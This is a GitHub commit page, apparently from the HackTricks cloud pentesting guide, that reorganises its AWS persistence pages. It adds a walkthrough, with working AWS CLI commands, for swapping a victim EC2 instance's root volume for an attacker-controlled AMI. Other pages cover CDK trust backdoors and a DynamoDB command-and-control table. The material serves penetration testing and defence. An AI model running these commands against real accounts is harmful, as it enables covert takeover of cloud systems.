Skip to content

Commit 9df8a4a

Browse files
committed
organize aws + new attacks
1 parent 6dd86b2 commit 9df8a4a

File tree

179 files changed

+3976
-1229
lines changed

Some content is hidden

Large Commits have some content hidden by default. Use the searchbox below for content that may be hidden.

179 files changed

+3976
-1229
lines changed

src/SUMMARY.md

Lines changed: 130 additions & 112 deletions
Large diffs are not rendered by default.

src/pentesting-cloud/aws-security/aws-persistence/aws-api-gateway-persistence.md renamed to src/pentesting-cloud/aws-security/aws-persistence/aws-api-gateway-persistence/README.md

Lines changed: 3 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -1,13 +1,13 @@
11
# AWS - API Gateway Persistence
22

3-
{{#include ../../../banners/hacktricks-training.md}}
3+
{{#include ../../../../banners/hacktricks-training.md}}
44

55
## API Gateway
66

77
For more information go to:
88

99
{{#ref}}
10-
../aws-services/aws-api-gateway-enum.md
10+
../../aws-services/aws-api-gateway-enum.md
1111
{{#endref}}
1212

1313
### Resource Policy
@@ -29,7 +29,7 @@ Or just remove the use of the authorizer.
2929
If API keys are used, you could leak them to maintain persistence or even create new ones.\
3030
Or just remove the use of API keys.
3131

32-
{{#include ../../../banners/hacktricks-training.md}}
32+
{{#include ../../../../banners/hacktricks-training.md}}
3333

3434

3535

src/pentesting-cloud/aws-security/aws-persistence/aws-cloudformation-persistence.md renamed to src/pentesting-cloud/aws-security/aws-persistence/aws-cloudformation-persistence/README.md

Lines changed: 3 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -1,13 +1,13 @@
11
# AWS - Cloudformation Persistence
22

3-
{{#include ../../../banners/hacktricks-training.md}}
3+
{{#include ../../../../banners/hacktricks-training.md}}
44

55
## CloudFormation
66

77
For more information, access:
88

99
{{#ref}}
10-
../aws-services/aws-cloudformation-and-codestar-enum.md
10+
../../aws-services/aws-cloudformation-and-codestar-enum.md
1111
{{#endref}}
1212

1313
### CDK Bootstrap Stack
@@ -22,4 +22,4 @@ cdk bootstrap --trust 1234567890
2222
aws cloudformation update-stack --use-previous-template --parameters ParameterKey=TrustedAccounts,ParameterValue=1234567890
2323
```
2424

25-
{{#include ../../../banners/hacktricks-training.md}}
25+
{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-persistence/aws-cognito-persistence.md renamed to src/pentesting-cloud/aws-security/aws-persistence/aws-cognito-persistence/README.md

Lines changed: 4 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -1,13 +1,13 @@
11
# AWS - Cognito Persistence
22

3-
{{#include ../../../banners/hacktricks-training.md}}
3+
{{#include ../../../../banners/hacktricks-training.md}}
44

55
## Cognito
66

77
For more information, access:
88

99
{{#ref}}
10-
../aws-services/aws-cognito-enum/
10+
../../aws-services/aws-cognito-enum/
1111
{{#endref}}
1212

1313
### User persistence
@@ -24,7 +24,7 @@ Cognito is a service that allows to give roles to unauthenticated and authentica
2424
Check how to do these actions in
2525

2626
{{#ref}}
27-
../aws-privilege-escalation/aws-cognito-privesc.md
27+
../../aws-privilege-escalation/aws-cognito-privesc/README.md
2828
{{#endref}}
2929

3030
### `cognito-idp:SetRiskConfiguration`
@@ -39,7 +39,7 @@ By default this is disabled:
3939

4040
<figure><img src="https://lh6.googleusercontent.com/EOiM0EVuEgZDfW3rOJHLQjd09-KmvraCMssjZYpY9sVha6NcxwUjStrLbZxAT3D3j9y08kd5oobvW8a2fLUVROyhkHaB1OPhd7X6gJW3AEQtlZM62q41uYJjTY1EJ0iQg6Orr1O7yZ798EpIJ87og4Tbzw=s2048" alt=""><figcaption></figcaption></figure>
4141

42-
{{#include ../../../banners/hacktricks-training.md}}
42+
{{#include ../../../../banners/hacktricks-training.md}}
4343

4444

4545

src/pentesting-cloud/aws-security/aws-persistence/aws-dynamodb-persistence.md renamed to src/pentesting-cloud/aws-security/aws-persistence/aws-dynamodb-persistence/README.md

Lines changed: 3 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -1,13 +1,13 @@
11
# AWS - DynamoDB Persistence
22

3-
{{#include ../../../banners/hacktricks-training.md}}
3+
{{#include ../../../../banners/hacktricks-training.md}}
44

55
### DynamoDB
66

77
For more information access:
88

99
{{#ref}}
10-
../aws-services/aws-dynamodb-enum.md
10+
../../aws-services/aws-dynamodb-enum.md
1111
{{#endref}}
1212

1313
### DynamoDB Triggers with Lambda Backdoor
@@ -60,7 +60,7 @@ aws dynamodb put-item \
6060

6161
The compromised instances or Lambda functions can periodically check the C2 table for new commands, execute them, and optionally report the results back to the table. This allows the attacker to maintain persistence and control over the compromised resources.
6262

63-
{{#include ../../../banners/hacktricks-training.md}}
63+
{{#include ../../../../banners/hacktricks-training.md}}
6464

6565

6666

src/pentesting-cloud/aws-security/aws-persistence/aws-ec2-persistence.md renamed to src/pentesting-cloud/aws-security/aws-persistence/aws-ec2-persistence/README.md

Lines changed: 12 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -1,13 +1,13 @@
11
# AWS - EC2 Persistence
22

3-
{{#include ../../../banners/hacktricks-training.md}}
3+
{{#include ../../../../banners/hacktricks-training.md}}
44

55
## EC2
66

77
For more information check:
88

99
{{#ref}}
10-
../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/
10+
../../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/
1111
{{#endref}}
1212

1313
### Security Group Connection Tracking Persistence
@@ -34,7 +34,7 @@ Spot instances are **cheaper** than regular instances. An attacker could launch
3434
An attacker could get access to the instances and backdoor them:
3535

3636
- Using a traditional **rootkit** for example
37-
- Adding a new **public SSH key** (check [EC2 privesc options](../aws-privilege-escalation/aws-ec2-privesc.md))
37+
- Adding a new **public SSH key** (check [EC2 privesc options](../../aws-privilege-escalation/aws-ec2-privesc/README.md))
3838
- Backdooring the **User Data**
3939

4040
### **Backdoor Launch Configuration**
@@ -43,6 +43,14 @@ An attacker could get access to the instances and backdoor them:
4343
- Backdoor the User Data
4444
- Backdoor the Key Pair
4545

46+
### EC2 ReplaceRootVolume Task (Stealth Backdoor)
47+
48+
Swap the root EBS volume of a running instance for one built from an attacker-controlled AMI or snapshot using `CreateReplaceRootVolumeTask`. The instance keeps its ENIs, IPs, and role, effectively booting into malicious code while appearing unchanged.
49+
50+
{{#ref}}
51+
../aws-ec2-replace-root-volume-persistence/README.md
52+
{{#endref}}
53+
4654
### VPN
4755

4856
Create a VPN so the attacker will be able to connect directly through i to the VPC.
@@ -51,8 +59,6 @@ Create a VPN so the attacker will be able to connect directly through i to the V
5159

5260
Create a peering connection between the victim VPC and the attacker VPC so he will be able to access the victim VPC.
5361

54-
{{#include ../../../banners/hacktricks-training.md}}
55-
56-
62+
{{#include ../../../../banners/hacktricks-training.md}}
5763

5864

Lines changed: 79 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,79 @@
1+
# AWS - EC2 ReplaceRootVolume Task (Stealth Backdoor / Persistence)
2+
3+
{{#include ../../../../banners/hacktricks-training.md}}
4+
5+
Abuse **ec2:CreateReplaceRootVolumeTask** to swap the root EBS volume of a running instance with one restored from an attacker-controlled AMI or snapshot. The instance is rebooted automatically and resumes with the attacker-controlled root filesystem while preserving ENIs, private/public IPs, attached non-root volumes, and the instance metadata/IAM role.
6+
7+
## Requirements
8+
- Target instance is EBS-backed and running in the same region.
9+
- Compatible AMI or snapshot: same architecture/virtualization/boot mode (and product codes, if any) as the target instance.
10+
11+
## Pre-checks
12+
```bash
13+
REGION=us-east-1
14+
INSTANCE_ID=<victim instance>
15+
16+
# Ensure EBS-backed
17+
aws ec2 describe-instances --region $REGION --instance-ids $INSTANCE_ID --query 'Reservations[0].Instances[0].RootDeviceType' --output text
18+
19+
# Capture current network and root volume
20+
ROOT_DEV=$(aws ec2 describe-instances --region $REGION --instance-ids $INSTANCE_ID --query 'Reservations[0].Instances[0].RootDeviceName' --output text)
21+
ORIG_VOL=$(aws ec2 describe-instances --region $REGION --instance-ids $INSTANCE_ID --query "Reservations[0].Instances[0].BlockDeviceMappings[?DeviceName==\`$ROOT_DEV\`].Ebs.VolumeId" --output text)
22+
PRI_IP=$(aws ec2 describe-instances --region $REGION --instance-ids $INSTANCE_ID --query 'Reservations[0].Instances[0].PrivateIpAddress' --output text)
23+
ENI_ID=$(aws ec2 describe-instances --region $REGION --instance-ids $INSTANCE_ID --query 'Reservations[0].Instances[0].NetworkInterfaces[0].NetworkInterfaceId' --output text)
24+
```
25+
26+
## Replace root from AMI (preferred)
27+
```bash
28+
IMAGE_ID=<attacker-controlled compatible AMI>
29+
30+
# Start task
31+
TASK_ID=$(aws ec2 create-replace-root-volume-task --region $REGION --instance-id $INSTANCE_ID --image-id $IMAGE_ID --query 'ReplaceRootVolumeTaskId' --output text)
32+
33+
# Poll until state == succeeded
34+
while true; do
35+
STATE=$(aws ec2 describe-replace-root-volume-tasks --region $REGION --replace-root-volume-task-ids $TASK_ID --query 'ReplaceRootVolumeTasks[0].TaskState' --output text)
36+
echo "$STATE"; [ "$STATE" = "succeeded" ] && break; [ "$STATE" = "failed" ] && exit 1; sleep 10;
37+
done
38+
```
39+
40+
Alternative using a snapshot:
41+
```bash
42+
SNAPSHOT_ID=<snapshot with bootable root FS compatible with the instance>
43+
aws ec2 create-replace-root-volume-task --region $REGION --instance-id $INSTANCE_ID --snapshot-id $SNAPSHOT_ID
44+
```
45+
46+
## Evidence / Verification
47+
```bash
48+
# Instance auto-reboots; network identity is preserved
49+
NEW_VOL=$(aws ec2 describe-instances --region $REGION --instance-ids $INSTANCE_ID --query "Reservations[0].Instances[0].BlockDeviceMappings[?DeviceName==\`$ROOT_DEV\`].Ebs.VolumeId" --output text)
50+
51+
# Compare before vs after
52+
printf "ENI:%s IP:%s
53+
ORIG_VOL:%s
54+
NEW_VOL:%s
55+
" "$ENI_ID" "$PRI_IP" "$ORIG_VOL" "$NEW_VOL"
56+
57+
# (Optional) Inspect task details and console output
58+
aws ec2 describe-replace-root-volume-tasks --region $REGION --replace-root-volume-task-ids $TASK_ID --output json
59+
aws ec2 get-console-output --region $REGION --instance-id $INSTANCE_ID --latest --output text
60+
```
61+
Expected: ENI_ID and PRI_IP remain the same; the root volume ID changes from $ORIG_VOL to $NEW_VOL. The system boots with the filesystem from the attacker-controlled AMI/snapshot.
62+
63+
## Notes
64+
- The API does not require you to manually stop the instance; EC2 orchestrates a reboot.
65+
- By default, the replaced (old) root EBS volume is detached and left in the account (DeleteReplacedRootVolume=false). This can be used for rollback or must be deleted to avoid costs.
66+
67+
## Rollback / Cleanup
68+
```bash
69+
# If the original root volume still exists (e.g., $ORIG_VOL is in state "available"),
70+
# you can create a snapshot and replace again from it:
71+
SNAP=$(aws ec2 create-snapshot --region $REGION --volume-id $ORIG_VOL --description "Rollback snapshot for $INSTANCE_ID" --query SnapshotId --output text)
72+
aws ec2 wait snapshot-completed --region $REGION --snapshot-ids $SNAP
73+
aws ec2 create-replace-root-volume-task --region $REGION --instance-id $INSTANCE_ID --snapshot-id $SNAP
74+
75+
# Or simply delete the detached old root volume if not needed:
76+
aws ec2 delete-volume --region $REGION --volume-id $ORIG_VOL
77+
```
78+
79+
{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-persistence/aws-ecr-persistence.md

Lines changed: 0 additions & 101 deletions
This file was deleted.

0 commit comments

Comments
 (0)